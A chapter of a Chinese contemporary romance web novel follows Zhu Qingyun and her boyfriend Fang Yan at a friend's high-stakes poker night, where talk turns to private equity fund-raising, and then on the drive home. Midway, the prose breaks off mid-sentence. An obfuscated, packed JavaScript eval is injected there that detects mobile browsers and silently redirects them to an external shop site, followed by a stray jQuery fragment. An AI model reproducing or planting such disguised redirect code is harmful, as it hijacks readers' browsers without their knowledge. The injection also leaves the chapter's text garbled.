周四下班的时间，杨瑞安在群里问："周末前搞一把？"底下跟了一串"好"。方严等红灯时扫了眼手机，转头看祝青云："晚上有安排吗？"
她抬起头："没有。"
"跟我去杨瑞安那儿打牌，"他说，"之前提过。"
"好啊。"
方严往东四环开，他没有问"你想不想去"，而是说"跟我去"。祝青云听着，觉得这句话像邀请，又像通知，她不确定区别在哪里，但点了头。
她也想知道，他在朋友面前是什么样子。
杨瑞安家住东四环一个高档公寓，电梯入户，光是玄关那一块地方就比宿舍的整个客厅还大，摆了一面落地穿衣镜和一张换鞋凳，旁边立着一只半人高的花瓶，瓶里插着几支干枯的莲蓬——那种精致到已经不像植物的状态，反而比鲜花更经得起时间的磨损。祝青云换了鞋，跟在方严身后走进去，客厅里已经坐了几个人，沙发和牌桌周围散着气泡水瓶和零食袋，灯光被调得比普通客厅暗一些，像是刻意让牌桌成为唯一被照亮的地方。
“哟，方少今天带人来啊？”有人从沙发扶手上直起身，打量了祝青云一眼。是周瑜，后来她才知道这个名字。周瑜穿一件卫衣，头发有些长，说话的时候嘴角带着一种不轻易收回去的笑意——像是已经习惯了用这种语气和人说话，并且知道别人不会真的跟他计较。
方严没有多介绍，只是说了一句：“我女朋友，祝青云。”然后拉着她在牌桌边坐下。
祝青云注意到周瑜旁边的女生——戴了一顶巴黎世家的棒球帽，手上是宝格丽的蛇头镯子，正靠在周瑜肩上往他嘴里喂剥好的橙子。她没有看祝青云，或者说看了一眼就移开了，像看一件不需要记住的家具。后来才知道，周瑜身边的人换得很快，每一个都有相似的外形和不同的名字。
“你看着就行，不用急。”方严把筹码推到她面前，“想玩就玩，不想玩就看我打。”
祝青云点了点头，但没有说自己“想玩”还是“不想玩”。她先看了一局，观察牌桌上的每一个人——方严打牌很稳，不追烂牌，不轻易All-in，弃牌的时候几乎没有表情变化。周瑜打得更激进一些，喜欢bluff，偶尔被人抓包的时候会哈哈大笑说“这不是给你们增加点游戏体验吗”。杨瑞安坐在牌桌对面，话不多，但偶尔会看祝青云一眼，像一个正在评估新同事的面试官，目光在她脸上停留的时间恰到好处，不多不少，刚好让她知道他注意到了她，但又不会让人觉得被冒犯。
张子然也在，坐在牌桌靠里的位置。她没有故意回避他的目光，但也没有多看他。祝青云潜意识里，不想让方严注意到“张子然在场”这件事有什么特别。方严打牌的时候注意力很集中，偶尔侧头看她一眼，目光不重，但也没有移开得太快。
第二局，祝青云决定上桌。筹码是方严分给她的，数了数，够打四到五局。她没打算赢，只是想证明自己能坐在这张桌子上——不是作为方严的女朋友，而是作为一个“也会玩”的人。坐下来的时候能感觉到周瑜多看了她一眼，张子然的目光也从牌面上抬了一下，她假装没有注意到任何人正在看自己。
前两局都输了，输得不多。第三局拿了一对A，她心跳快了一拍，但面上没有任何表情。她看了一眼方严——他正在回手机消息，没有注意她的牌。祝青云决定不问他，自己推了All-in，牌桌上另外三个人都跟了注。推筹码出去的那一刻没有犹豫——她知道犹豫的时候就会输。摊牌的时候，赢了。
方严抬起头看了她一眼。“行啊。”
她笑了笑，“运气。”
周瑜把牌翻过来丢回牌堆，“青云妹妹可以啊，第一次玩就这么老练。”
祝青云没有接话，只是微笑。她知道周瑜这句话并不真的是在夸她——更像一种试探，在问“你是怎么被方严带进来的”，她不打算回答那个问题。
接下来的几局没再赢，但也没有输太多。方严在旁边偶尔会侧头看她的牌面，但并不多说什么。祝青云注意到，他只有在她的筹码快要见底的时候才会放慢自己的节奏，像是在等她“用完”再“接管”——一个自然而然的姿态，带着一种摸不清是善意还是习惯的意味。
牌局进行到一半，周瑜忽然提了一句，语气像在聊一件大家心知肚明的事："方严，我听说你爸那边家办最近挺活跃的，跟你聊过没？"
"没聊。"方严正在看底牌，"他有他的方向，我有我的。"
周瑜靠在椅背上，像是随口，又像是试探："你一个做并购的，最近怎么老看早期项目？该不会是在攒项目源，准备单飞吧？"
方严把牌翻开看了一眼，没有抬头："这事不好说。"
"有什么不好说的，"周瑜笑着把筹码拨出去，"GP的超额收益怎么分、投委会谁说了算、关键出资人拿不拿得出基石出资——这些你又不是没经验。你缺的不是能力，是美元LP的意向书。"
方严把牌翻过来，语气没什么变化："你懂什么？"
声音没有敌意，像在说一句他不太想继续展开的话。
杨瑞安在旁边接了一句："纽约那边能让你自己出来做？"
方严说："纽约是纽约，北京是北京。先把框架搭清楚，出资人的事后面再说。"
他说完抬头看了一眼周瑜："跟不跟？"
周瑜没有再追问。他低头看了看自己的牌，把筹码推了出去："跟了。"
话题被带走了，但祝青云坐在旁边，把那句话——"超额收益怎么分、投委会谁说了算、关键出资人的基石出资"——收进了心里。她刚入行，知道这些词大概指向什么，但还没能力拼凑出完整的图景。她只是隐约意识到，方严正在看不见的地方，搭建一个她还没有被允许进入的架构。
牌局结束的时候已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740810|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过了凌晨，方严小赢了五千多块，他把筹码随意地收进盒子里，和杨瑞安聊了两句工作的安排，然后转过身对祝青云说：“走吧。”
回家的路上，祝青云坐在副驾驶，安静地看窗外的灯光，方严开着车，电台里放了一首大提琴曲——《Lament》。
“在想什么？”方严问。
“没什么。”
“你也赢了牌，不怎么高兴。”
“没有不高兴。就是在想，你们平时打这么大吗？”
"这不算大吧。"
祝青云没接话。几千块对她不是小数，说大，显得她没见过世面；说不大，又像是把自己也划进了那个对钱没概念的圈子里。
"下次你想赢，可以跟我说。"
祝青云侧头看他：“你不是在看手机吗？”
他说：“你推All-in的时候我看到了。那局我本来也要跟的——看到你推了，我就没动。”
她愣了一下。“你知道那局我会赢？”
“我不知道，但我想看看你会不会推。”
空气安静了两秒。“你是想看我有没有那个胆子？”
他靠在驾驶座上，把车停在红灯前，转头看了她一眼：“不是胆子，是判断。你拿到好牌的时候没有犹豫，这比胆子更重要。”
车继续往前开，看着窗外的路灯一盏一盏掠过，祝青云觉得那句话比“你赢了”要重得多。他说她在牌桌上做决定的时候没有犹豫——而那种不犹豫本身，就已经是她需要在这张桌子上站稳所需要的东西了。
到家以后，方严去洗澡，她坐在客厅里打开笔记本，看徐悦发来的咖啡项目资料。翻了几页，目光停在一个叫“朝颜咖啡”的品牌上——单店模型做得很扎实，坪效数据比几个更知名的品牌还要好。祝青云看了两遍，然后把页面关掉了。
方严出来的时候她已经合上了电脑。
“这么晚还看工作？”他问。
“随便翻翻。”
他走过来坐在旁边，身上带着沐浴露的味道，把手搭在她肩膀上，凑过来在她耳边说：“刚才打牌的时候，周瑜跟我说，你看着不像第一次玩。”
“那像什么？”
“像‘心里有数’的。”
祝青云笑了一下：“那他说得没错。”
她站起来关掉客厅的灯，走进卧室。方严跟在后面，把卧室门带上，夜色从窗外透进来，薄薄的光线让屋子里的轮廓变得模糊。
方严说“心里有数”的时候，祝青云忽然想到一件事——他不只是在说她打牌的样子，而是在说他看到的是她做决定的方式。而那个方式，已经在自己身上确认过很多次了，只是没有想过他也在看。
也想起周瑜问方严的那句话——方严没有回答，像在终结那个话题，又像是在把那个问题留到以后再说。那个圈子里每个人都有“你知道但不用问”的事，她也有。